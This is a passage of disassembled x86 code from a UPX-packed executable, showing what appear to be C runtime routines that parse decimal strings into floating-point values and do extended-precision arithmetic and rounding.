mov ecx, [ebp+arg_0]
jmp short loc_41A5D9
; ---------------------------------------------------------------------------
loc_41A5BA: ; CODE XREF: sub_41A2EF+2EBj
test ecx, ecx
jz short loc_41A5DC
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
xor edi, edi
cmp esi, edx
jb short loc_41A5D2
cmp esi, 1
jnb short loc_41A5D5
loc_41A5D2: ; CODE XREF: sub_41A2EF+2DCj
xor edi, edi
inc edi
loc_41A5D5: ; CODE XREF: sub_41A2EF+2E1j
mov [ecx], esi
mov ecx, edi
loc_41A5D9: ; CODE XREF: sub_41A2EF+2C9j
dec eax
jns short loc_41A5BA
loc_41A5DC: ; CODE XREF: sub_41A2EF+265j
; sub_41A2EF+285j ...
mov ecx, [ebp+var_10]
or eax, 0FFFFFFFFh
shl eax, cl
and [ebx], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_41A5FC
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_41A5FC: ; CODE XREF: sub_41A2EF+2FEj
mov ecx, dword_42E054
inc ecx
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A61D
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A61D: ; CODE XREF: sub_41A2EF+327j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_41A638: ; CODE XREF: sub_41A2EF+374j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_41A638
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A672: ; CODE XREF: sub_41A2EF+39Aj
cmp edx, eax
jl short loc_41A67E
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A683
; ---------------------------------------------------------------------------
loc_41A67E: ; CODE XREF: sub_41A2EF+385j
and [ebp+edx*4+var_20], 0
loc_41A683: ; CODE XREF: sub_41A2EF+38Dj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A672
loc_41A68B: ; CODE XREF: sub_41A2EF+18Aj
push 2
xor ebx, ebx
pop eax
jmp loc_41A7EF
; ---------------------------------------------------------------------------
loc_41A695: ; CODE XREF: sub_41A2EF+191j
cmp ebx, dword_42E048
mov ecx, dword_42E054
jl loc_41A754
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
or [ebp+var_20], 80000000h
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A6D0
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A6D0: ; CODE XREF: sub_41A2EF+3DAj
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_41A6EB: ; CODE XREF: sub_41A2EF+427j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_41A6EB
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A725: ; CODE XREF: sub_41A2EF+44Dj
cmp edx, eax
jl short loc_41A731
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A736
; ---------------------------------------------------------------------------
loc_41A731: ; CODE XREF: sub_41A2EF+438j
and [ebp+edx*4+var_20], 0
loc_41A736: ; CODE XREF: sub_41A2EF+440j
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A725
mov eax, dword_42E048
mov ecx, dword_42E05C
lea ebx, [ecx+eax]
xor eax, eax
inc eax
jmp loc_41A7EF
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A2EF+3B2j
mov eax, dword_42E05C
and [ebp+var_20], 7FFFFFFFh
add ebx, eax
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A77C
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A77C: ; CODE XREF: sub_41A2EF+486j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or esi, 0FFFFFFFFh
mov ecx, edx
shl esi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not esi
loc_41A797: ; CODE XREF: sub_41A2EF+4D6j
mov ecx, [ebp+arg_0]
mov edi, [ebp+ecx*4+var_20]
mov ecx, edi
and ecx, esi
mov [ebp+var_10], ecx
mov ecx, edx
shr edi, cl
mov ecx, [ebp+arg_0]
or edi, [ebp+var_C]
mov [ebp+ecx*4+var_20], edi
mov edi, [ebp+var_10]
mov ecx, [ebp+var_4]
shl edi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], edi
jl short loc_41A797
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A7D4: ; CODE XREF: sub_41A2EF+4FCj
cmp edx, eax
jl short loc_41A7E0
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A7E5
; ---------------------------------------------------------------------------
loc_41A7E0: ; CODE XREF: sub_41A2EF+4E7j
and [ebp+edx*4+var_20], 0
loc_41A7E5: ; CODE XREF: sub_41A2EF+4EFj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A7D4
xor eax, eax
loc_41A7EF: ; CODE XREF: sub_41A2EF+3A1j
; sub_41A2EF+460j
pop esi
loc_41A7F0: ; CODE XREF: sub_41A2EF+57j
; sub_41A2EF+67j
push 1Fh
pop ecx
sub ecx, dword_42E054
shl ebx, cl
mov ecx, [ebp+var_14]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
mov ecx, dword_42E058
or ebx, [ebp+var_20]
cmp ecx, 40h
jnz short loc_41A825
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_41A82F
; ---------------------------------------------------------------------------
loc_41A825: ; CODE XREF: sub_41A2EF+527j
cmp ecx, 20h
jnz short loc_41A82F
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_41A82F: ; CODE XREF: sub_41A2EF+534j
; sub_41A2EF+539j
pop edi
pop ebx
leave
retn
sub_41A2EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A833 proc near ; CODE XREF: sub_4198D8+39p
; sub_419980+39p
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_46 = dword ptr -46h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_9 = byte ptr -9
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov [ebp+var_78], eax
mov eax, [ebp+arg_4]
inc esi
xor ecx, ecx
push edi
mov [ebp+var_70], eax
lea edi, [ebp+var_20]
mov [ebp+var_74], ebx
mov [ebp+var_68], esi
mov [ebp+var_4C], ebx
mov [ebp+var_58], ebx
mov [ebp+var_5C], ebx
mov [ebp+var_60], ebx
mov [ebp+var_64], ebx
mov [ebp+var_50], ebx
mov [ebp+var_6C], ebx
cmp [ebp+arg_1C], ebx
jnz short loc_41A89D
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
xor eax, eax
jmp loc_41AEEB
; ---------------------------------------------------------------------------
loc_41A89D: ; CODE XREF: sub_41A833+49j
mov edx, [ebp+arg_8]
mov [ebp+var_54], edx
loc_41A8A3: ; CODE XREF: sub_41A833+83j
mov al, [edx]
cmp al, 20h
jz short loc_41A8B5
cmp al, 9
jz short loc_41A8B5
cmp al, 0Ah
jz short loc_41A8B5
cmp al, 0Dh
jnz short loc_41A8B8
loc_41A8B5: ; CODE XREF: sub_41A833+74j
; sub_41A833+78j ...
inc edx
jmp short loc_41A8A3
; ---------------------------------------------------------------------------
loc_41A8B8: ; CODE XREF: sub_41A833+80j
mov bl, 30h
loc_41A8BA: ; CODE XREF: sub_41A833+A8j
; sub_41A833+BEj ...
mov al, [edx]
inc edx
cmp ecx, 0Bh ; switch 12 cases
ja loc_41AAF5 ; default
; jumptable 0041A8C6 case 10
jmp off_41AEFB[ecx*4] ; switch jump
loc_41A8CD: ; DATA XREF: UPX0:off_41AEFBo
mov cl, al ; jumptable 0041A8C6 case 0
sub cl, 31h
cmp cl, 8
ja short loc_41A8DD
loc_41A8D7: ; CODE XREF: sub_41A833+F9j
; sub_41A833+14Cj
push 3
loc_41A8D9: ; CODE XREF: sub_41A833+203j
; sub_41A833+21Aj
pop ecx
dec edx
jmp short loc_41A8BA
; ---------------------------------------------------------------------------
loc_41A8DD: ; CODE XREF: sub_41A833+A2j
mov ecx, [ebp+arg_1C]
mov ecx, [ecx]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
cmp al, [ecx]
jnz short loc_41A8F3
loc_41A8EE: ; CODE XREF: sub_41A833+161j
push 5
loc_41A8F0: ; CODE XREF: sub_41A833+10Ej
; sub_41A833+13Aj ...
pop ecx
jmp short loc_41A8BA
; ---------------------------------------------------------------------------
loc_41A8F3: ; CODE XREF: sub_41A833+B9j
movsx eax, al
sub eax, 2Bh
jz short loc_41A918
dec eax
dec eax
jz short loc_41A90C
sub eax, 3
jnz loc_41AA93
loc_41A908: ; CODE XREF: sub_41A833+11Aj
; sub_41A833+169j
mov ecx, esi
jmp short loc_41A8BA
; ---------------------------------------------------------------------------
loc_41A90C: ; CODE XREF: sub_41A833+CAj
push 2
pop ecx
mov [ebp+var_74], 8000h
jmp short loc_41A8BA
; ---------------------------------------------------------------------------
loc_41A918: ; CODE XREF: sub_41A833+C6j
and [ebp+var_74], 0
push 2
pop ecx
jmp short loc_41A8BA
; ---------------------------------------------------------------------------
loc_41A921: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov cl, al ; jumptable 0041A8C6 case 1
sub cl, 31h
mov [ebp+var_58], esi
cmp cl, 8
jbe short loc_41A8D7
mov ecx, [ebp+arg_1C]
mov ecx, [ecx]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
cmp al, [ecx]
jnz short loc_41A943
loc_41A93F: ; CODE XREF: sub_41A833+1A9j
push 4
jmp short loc_41A8F0
; ---------------------------------------------------------------------------
loc_41A943: ; CODE XREF: sub_41A833+10Aj
cmp al, 2Bh
jz short loc_41A96F
cmp al, 2Dh
jz short loc_41A96F
cmp al, bl
jz short loc_41A908
loc_41A94F: ; CODE XREF: sub_41A833+1B7j
cmp al, 43h
jle loc_41AA93
cmp al, 45h
jle short loc_41A96B
cmp al, 63h
jle loc_41AA93
cmp al, 65h
jg loc_41AA93
loc_41A96B: ; CODE XREF: sub_41A833+126j
push 6
jmp short loc_41A8F0
; ---------------------------------------------------------------------------
loc_41A96F: ; CODE XREF: sub_41A833+112j
; sub_41A833+116j ...
dec edx
push 0Bh
jmp loc_41A8F0
; ---------------------------------------------------------------------------
loc_41A977: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov cl, al ; jumptable 0041A8C6 case 2
sub cl, 31h
cmp cl, 8
jbe loc_41A8D7
mov ecx, [ebp+arg_1C]
mov ecx, [ecx]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
cmp al, [ecx]
jz loc_41A8EE
cmp al, bl
jz loc_41A908
loc_41A9A2: ; CODE XREF: sub_41A833+1FBj
; sub_41A833:loc_41AA61j
mov edx, [ebp+var_54]
jmp loc_41AABE
; ---------------------------------------------------------------------------
loc_41A9AA: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov [ebp+var_58], esi ; jumptable 0041A8C6 case 3
jmp short loc_41A9C9
; ---------------------------------------------------------------------------
loc_41A9AF: ; CODE XREF: sub_41A833+198j
cmp al, 39h
jg short loc_41A9CD
cmp [ebp+var_4C], 19h
jnb short loc_41A9C3
inc [ebp+var_4C]
sub al, bl
mov [edi], al
inc edi
jmp short loc_41A9C6
; ---------------------------------------------------------------------------
loc_41A9C3: ; CODE XREF: sub_41A833+184j
inc [ebp+var_50]
loc_41A9C6: ; CODE XREF: sub_41A833+18Ej
mov al, [edx]
inc edx
loc_41A9C9: ; CODE XREF: sub_41A833+17Aj
cmp al, bl
jge short loc_41A9AF
loc_41A9CD: ; CODE XREF: sub_41A833+17Ej
mov ecx, [ebp+arg_1C]
mov ecx, [ecx]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
cmp al, [ecx]
jz loc_41A93F
loc_41A9E2: ; CODE XREF: sub_41A833+1D8j
; sub_41A833+1F2j
cmp al, 2Bh
jz short loc_41A96F
cmp al, 2Dh
jz short loc_41A96F
jmp loc_41A94F
; ---------------------------------------------------------------------------
loc_41A9EF: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
cmp [ebp+var_4C], 0 ; jumptable 0041A8C6 case 4
mov [ebp+var_58], esi
mov [ebp+var_5C], esi
jnz short loc_41AA21
jmp short loc_41AA03
; ---------------------------------------------------------------------------
loc_41A9FD: ; CODE XREF: sub_41A833+1D2j
dec [ebp+var_50]
mov al, [edx]
inc edx
loc_41AA03: ; CODE XREF: sub_41A833+1C8j
cmp al, bl
jz short loc_41A9FD
jmp short loc_41AA21
; ---------------------------------------------------------------------------
loc_41AA09: ; CODE XREF: sub_41A833+1F0j
cmp al, 39h
jg short loc_41A9E2
cmp [ebp+var_4C], 19h
jnb short loc_41AA1E
inc [ebp+var_4C]
sub al, bl
mov [edi], al
inc edi
dec [ebp+var_50]
loc_41AA1E: ; CODE XREF: sub_41A833+1DEj
mov al, [edx]
inc edx
loc_41AA21: ; CODE XREF: sub_41A833+1C6j
; sub_41A833+1D4j
cmp al, bl
jge short loc_41AA09
jmp short loc_41A9E2
; ---------------------------------------------------------------------------
loc_41AA27: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
sub al, bl ; jumptable 0041A8C6 case 5
mov [ebp+var_5C], esi
cmp al, 9
ja loc_41A9A2
push 4
jmp loc_41A8D9
; ---------------------------------------------------------------------------
loc_41AA3B: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
lea ecx, [edx-2] ; jumptable 0041A8C6 case 6
mov [ebp+var_54], ecx
mov cl, al
sub cl, 31h
cmp cl, 8
ja short loc_41AA52
loc_41AA4B: ; CODE XREF: sub_41A833+25Ej
; sub_41A833+26Bj
push 9
jmp loc_41A8D9
; ---------------------------------------------------------------------------
loc_41AA52: ; CODE XREF: sub_41A833+216j
movsx eax, al
sub eax, 2Bh
jz short loc_41AA7A
dec eax
dec eax
jz short loc_41AA6E
sub eax, 3
loc_41AA61: ; CODE XREF: sub_41A833+26Fj
jnz loc_41A9A2
push 8
jmp loc_41A8F0
; ---------------------------------------------------------------------------
loc_41AA6E: ; CODE XREF: sub_41A833+229j
; sub_41A833+287j
or [ebp+var_68], 0FFFFFFFFh
push 7
pop ecx
jmp loc_41A8BA
; ---------------------------------------------------------------------------
loc_41AA7A: ; CODE XREF: sub_41A833+225j
; sub_41A833+283j
push 7
jmp loc_41A8F0
; ---------------------------------------------------------------------------
loc_41AA81: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov [ebp+var_60], esi ; jumptable 0041A8C6 case 8
jmp short loc_41AA89
; ---------------------------------------------------------------------------
loc_41AA86: ; CODE XREF: sub_41A833+258j
mov al, [edx]
inc edx
loc_41AA89: ; CODE XREF: sub_41A833+251j
cmp al, bl
jz short loc_41AA86
sub al, 31h
cmp al, 8
jbe short loc_41AA4B
loc_41AA93: ; CODE XREF: sub_41A833+CFj
; sub_41A833+11Ej ...
dec edx
jmp short loc_41AABE
; ---------------------------------------------------------------------------
loc_41AA96: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov cl, al ; jumptable 0041A8C6 case 7
sub cl, 31h
cmp cl, 8
jbe short loc_41AA4B
cmp al, bl
jmp short loc_41AA61
; ---------------------------------------------------------------------------
loc_41AAA4: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
cmp [ebp+arg_18], 0 ; jumptable 0041A8C6 case 11
jz short loc_41AAF1
movsx eax, al
sub eax, 2Bh
lea ecx, [edx-1]
mov [ebp+var_54], ecx
jz short loc_41AA7A
dec eax
dec eax
jz short loc_41AA6E
mov edx, ecx
loc_41AABE: ; CODE XREF: sub_41A833+172j
; sub_41A833+261j ...
cmp [ebp+var_58], 0
mov eax, [ebp+var_70]
mov [eax], edx
jz loc_41AEA6
push 18h
pop eax
cmp [ebp+var_4C], eax
jbe short loc_41AAE5
cmp [ebp+var_9], 5
jl short loc_41AADE
inc [ebp+var_9]
loc_41AADE: ; CODE XREF: sub_41A833+2A6j
dec edi
inc [ebp+var_50]
mov [ebp+var_4C], eax
loc_41AAE5: ; CODE XREF: sub_41A833+2A0j
cmp [ebp+var_4C], 0
jbe loc_41AECD
jmp short loc_41AB4A
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: sub_41A833+275j
push 0Ah
pop ecx
dec edx
loc_41AAF5: ; CODE XREF: sub_41A833+8Dj
; sub_41A833+93j
; DATA XREF: ...
cmp ecx, 0Ah ; default
; jumptable 0041A8C6 case 10
jnz loc_41A8BA
jmp short loc_41AABE
; ---------------------------------------------------------------------------
loc_41AB00: ; CODE XREF: sub_41A833+93j
; DATA XREF: UPX0:off_41AEFBo
mov [ebp+var_60], esi ; jumptable 0041A8C6 case 9
xor ecx, ecx
jmp short loc_41AB20
; ---------------------------------------------------------------------------
loc_41AB07: ; CODE XREF: sub_41A833+2EFj
cmp al, 39h
jg short loc_41AB2B
imul ecx, 0Ah
movsx esi, al
lea ecx, [ecx+esi-30h]
cmp ecx, 1450h
jg short loc_41AB26
mov al, [edx]
inc edx
loc_41AB20: ; CODE XREF: sub_41A833+2D2j
cmp al, bl
jge short loc_41AB07
jmp short loc_41AB2B
; ---------------------------------------------------------------------------
loc_41AB26: ; CODE XREF: sub_41A833+2E8j
mov ecx, 1451h
loc_41AB2B: ; CODE XREF: sub_41A833+2D6j
; sub_41A833+2F1j
mov [ebp+var_64], ecx
jmp short loc_41AB3B
; ---------------------------------------------------------------------------
loc_41AB30: ; CODE XREF: sub_41A833+30Aj
cmp al, 39h
jg loc_41AA93
mov al, [edx]
inc edx
loc_41AB3B: ; CODE XREF: sub_41A833+2FBj
cmp al, bl
jge short loc_41AB30
jmp loc_41AA93
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41A833+31Bj
dec [ebp+var_4C]
inc [ebp+var_50]
loc_41AB4A: ; CODE XREF: sub_41A833+2BCj
dec edi
cmp byte ptr [edi], 0
jz short loc_41AB44
lea eax, [ebp+var_3C]
push eax
push [ebp+var_4C]
lea eax, [ebp+var_20]
push eax
call sub_41BC8C
mov eax, [ebp+var_64]
xor edx, edx
add esp, 0Ch
cmp [ebp+var_68], edx
jge short loc_41AB6F
neg eax
loc_41AB6F: ; CODE XREF: sub_41A833+338j
add eax, [ebp+var_50]
cmp [ebp+var_60], edx
jnz short loc_41AB7A
add eax, [ebp+arg_10]
loc_41AB7A: ; CODE XREF: sub_41A833+342j
cmp [ebp+var_5C], edx
jnz short loc_41AB82
sub eax, [ebp+arg_14]
loc_41AB82: ; CODE XREF: sub_41A833+34Aj
cmp eax, 1450h
jg loc_41AEAF
cmp eax, 0FFFFEBB0h
jl loc_41AEC6
mov ecx, offset dword_42E060
sub ecx, 60h
mov [ebp+var_54], eax
cmp eax, edx
jz loc_41AE94
jge short loc_41ABBA
neg eax
mov ecx, offset dword_42E1C0
mov [ebp+var_54], eax
sub ecx, 60h
loc_41ABBA: ; CODE XREF: sub_41A833+378j
cmp [ebp+arg_C], edx
jnz short loc_41ABC5
xor eax, eax
mov word ptr [ebp+var_3C], ax
loc_41ABC5: ; CODE XREF: sub_41A833+38Aj
cmp [ebp+var_54], edx
jz loc_41AE94
jmp short loc_41ABD5
; ---------------------------------------------------------------------------
loc_41ABD0: ; CODE XREF: sub_41A833+65Bj
mov ecx, [ebp+var_7C]
xor edx, edx
loc_41ABD5: ; CODE XREF: sub_41A833+39Bj
mov eax, [ebp+var_54]
sar [ebp+var_54], 3
add ecx, 54h
and eax, 7
mov [ebp+var_7C], ecx
cmp eax, edx
jz loc_41AE8A
imul eax, 0Ch
add eax, ecx
mov ebx, eax
mov eax, 8000h
cmp [ebx], ax
jb short loc_41AC0C
mov esi, ebx
lea edi, [ebp+var_48]
movsd
movsd
movsd
dec [ebp+var_46]
lea ebx, [ebp+var_48]
loc_41AC0C: ; CODE XREF: sub_41A833+3C9j
movzx ecx, word ptr [ebx+0Ah]
xor eax, eax
mov [ebp+var_50], eax
mov [ebp+var_2C], eax
mov [ebp+var_28], eax
mov [ebp+var_24], eax
mov eax, [ebp+var_32]
mov esi, ecx
mov edx, 7FFFh
xor esi, eax
and eax, edx
and ecx, edx
and esi, 8000h
mov edi, 7FFFh
lea edx, [ecx+eax]
mov [ebp+var_70], esi
movzx edx, dx
cmp ax, di
jnb loc_41AE6C
cmp cx, di
jnb loc_41AE6C
mov edi, 0BFFDh
cmp dx, di
ja loc_41AE6C
mov esi, 3FBFh
cmp dx, si
ja short loc_41AC79
xor eax, eax
mov [ebp+var_38], eax
mov [ebp+var_3C], eax
jmp loc_41AE87
; ---------------------------------------------------------------------------
loc_41AC79: ; CODE XREF: sub_41A833+437j
xor esi, esi
cmp ax, si
jnz short loc_41AC9F
inc edx
test dword ptr [ebp-34h], 7FFFFFFFh
jnz short loc_41AC9F
cmp [ebp+var_38], esi
jnz short loc_41AC9F
cmp [ebp+var_3C], esi
jnz short loc_41AC9F
xor eax, eax
mov word ptr [ebp+var_32], ax
jmp loc_41AE8A
; ---------------------------------------------------------------------------
loc_41AC9F: ; CODE XREF: sub_41A833+44Bj
; sub_41A833+455j ...
cmp cx, si
jnz short loc_41ACC5
inc edx
test dword ptr [ebx+8], 7FFFFFFFh
jnz short loc_41ACC5
cmp [ebx+4], esi
jnz short loc_41ACC5
cmp [ebx], esi
jnz short loc_41ACC5
mov [ebp-34h], esi
mov [ebp+var_38], esi
mov [ebp+var_3C], esi
jmp loc_41AE8A
; ---------------------------------------------------------------------------
loc_41ACC5: ; CODE XREF: sub_41A833+46Fj
; sub_41A833+479j ...
mov [ebp+var_68], esi
lea edi, [ebp+var_28]
mov [ebp+var_58], 5
loc_41ACD2: ; CODE XREF: sub_41A833+50Cj
mov eax, [ebp+var_68]
mov ecx, [ebp+var_58]
add eax, eax
mov [ebp+var_64], ecx
test ecx, ecx
jle short loc_41AD33
lea eax, [ebp+eax+var_3C]
mov [ebp+var_5C], eax
lea eax, [ebx+8]
mov [ebp+var_60], eax
loc_41ACEE: ; CODE XREF: sub_41A833+4FEj
mov eax, [ebp+var_60]
mov ecx, [ebp+var_5C]
movzx ecx, word ptr [ecx]
movzx eax, word ptr [eax]
and [ebp+var_4C], 0
imul eax, ecx
mov ecx, [edi-4]
lea esi, [ecx+eax]
cmp esi, ecx
jb short loc_41AD0F
cmp esi, eax
jnb short loc_41AD16
loc_41AD0F: ; CODE XREF: sub_41A833+4D6j
mov [ebp+var_4C], 1
loc_41AD16: ; CODE XREF: sub_41A833+4DAj
cmp [ebp+var_4C], 0
mov [edi-4], esi
jz short loc_41AD22
inc word ptr [edi]
loc_41AD22: ; CODE XREF: sub_41A833+4EAj
add [ebp+var_5C], 2
sub [ebp+var_60], 2
dec [ebp+var_64]
cmp [ebp+var_64], 0
jg short loc_41ACEE
loc_41AD33: ; CODE XREF: sub_41A833+4ACj
inc edi
inc edi
inc [ebp+var_68]
dec [ebp+var_58]
cmp [ebp+var_58], 0
jg short loc_41ACD2
add edx, 0C002h
test dx, dx
jle short loc_41AD83
loc_41AD4C: ; CODE XREF: sub_41A833+549j
mov edi, [ebp+var_24]
test edi, edi
js short loc_41AD7E
mov esi, [ebp+var_28]
mov eax, [ebp+var_2C]
shl [ebp+var_2C], 1
shr eax, 1Fh
mov ecx, esi
add esi, esi
or esi, eax
shr ecx, 1Fh
lea eax, [edi+edi]
or eax, ecx
add edx, 0FFFFh
mov [ebp+var_28], esi
mov [ebp+var_24], eax
test dx, dx
jg short loc_41AD4C
loc_41AD7E: ; CODE XREF: sub_41A833+51Ej
test dx, dx
jg short loc_41ADD0
loc_41AD83: ; CODE XREF: sub_41A833+517j
add edx, 0FFFFh
test dx, dx
jge short loc_41ADD0
mov eax, edx
neg eax
movzx esi, ax
add edx, esi
loc_41AD97: ; CODE XREF: sub_41A833+591j
test byte ptr [ebp+var_2C], 1
jz short loc_41ADA0
inc [ebp+var_50]
loc_41ADA0: ; CODE XREF: sub_41A833+568j
mov eax, [ebp+var_24]
mov edi, [ebp+var_28]
mov ecx, [ebp+var_28]
shr [ebp+var_24], 1
shl eax, 1Fh
shr edi, 1
or edi, eax
mov eax, [ebp+var_2C]
shl ecx, 1Fh
shr eax, 1
or eax, ecx
dec esi
mov [ebp+var_28], edi
mov [ebp+var_2C], eax
jnz short loc_41AD97
cmp [ebp+var_50], esi
jz short loc_41ADD0
or word ptr [ebp+var_2C], 1
loc_41ADD0: ; CODE XREF: sub_41A833+54Ej
; sub_41A833+559j ...
mov eax, 8000h
mov ecx, eax
cmp word ptr [ebp+var_2C], cx
ja short loc_41ADEE
mov ecx, [ebp+var_2C]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_41AE22
loc_41ADEE: ; CODE XREF: sub_41A833+5A8j
cmp [ebp+var_2C+2], 0FFFFFFFFh
jnz short loc_41AE1F
and [ebp+var_2C+2], 0
cmp [ebp+var_28+2], 0FFFFFFFFh
jnz short loc_41AE1A
and [ebp+var_28+2], 0
mov ecx, 0FFFFh
cmp word ptr [ebp+var_24+2], cx
jnz short loc_41AE14
mov word ptr [ebp+var_24+2], ax
inc edx
jmp short loc_41AE22
; ---------------------------------------------------------------------------
loc_41AE14: ; CODE XREF: sub_41A833+5D8j
inc word ptr [ebp+var_24+2]
jmp short loc_41AE22
; ---------------------------------------------------------------------------
loc_41AE1A: ; CODE XREF: sub_41A833+5C9j
inc [ebp+var_28+2]
jmp short loc_41AE22
; ---------------------------------------------------------------------------
loc_41AE1F: ; CODE XREF: sub_41A833+5BFj
inc [ebp+var_2C+2]
loc_41AE22: ; CODE XREF: sub_41A833+5B9j
; sub_41A833+5DFj ...
mov eax, 7FFFh
cmp dx, ax
jb short loc_41AE4F
xor eax, eax
xor ecx, ecx
cmp word ptr [ebp+var_70], ax
mov [ebp+var_38], eax
setz cl
mov [ebp+var_3C], eax
dec ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov [ebp-34h], ecx
jmp short loc_41AE8A
; ---------------------------------------------------------------------------
loc_41AE4F: ; CODE XREF: sub_41A833+5F7j
mov ax, word ptr [ebp+var_2C+2]
or edx, [ebp+var_70]
mov word ptr [ebp+var_3C], ax
mov eax, [ebp+var_28]
mov [ebp+var_3C+2], eax
mov eax, [ebp+var_24]
mov [ebp+var_38+2], eax
mov word ptr [ebp+var_32], dx
jmp short loc_41AE8A
; ---------------------------------------------------------------------------
loc_41AE6C: ; CODE XREF: sub_41A833+412j
; sub_41A833+41Bj ...
xor eax, eax
test si, si
setz al
and [ebp+var_38], 0
dec eax
and eax, 80000000h
add eax, 7FFF8000h
and [ebp+var_3C], 0
loc_41AE87: ; CODE XREF: sub_41A833+441j
mov [ebp-34h], eax
loc_41AE8A: ; CODE XREF: sub_41A833+3B4j
; sub_41A833+467j ...
cmp [ebp+var_54], 0
jnz loc_41ABD0
loc_41AE94: ; CODE XREF: sub_41A833+372j
; sub_41A833+395j
mov eax, [ebp-34h]
movzx ecx, word ptr [ebp+var_3C]
mov esi, [ebp+var_3C+2]
mov edx, [ebp+var_38+2]
shr eax, 10h
jmp short loc_41AED5
; ---------------------------------------------------------------------------
loc_41AEA6: ; CODE XREF: sub_41A833+294j
mov [ebp+var_6C], 4
jmp short loc_41AECD
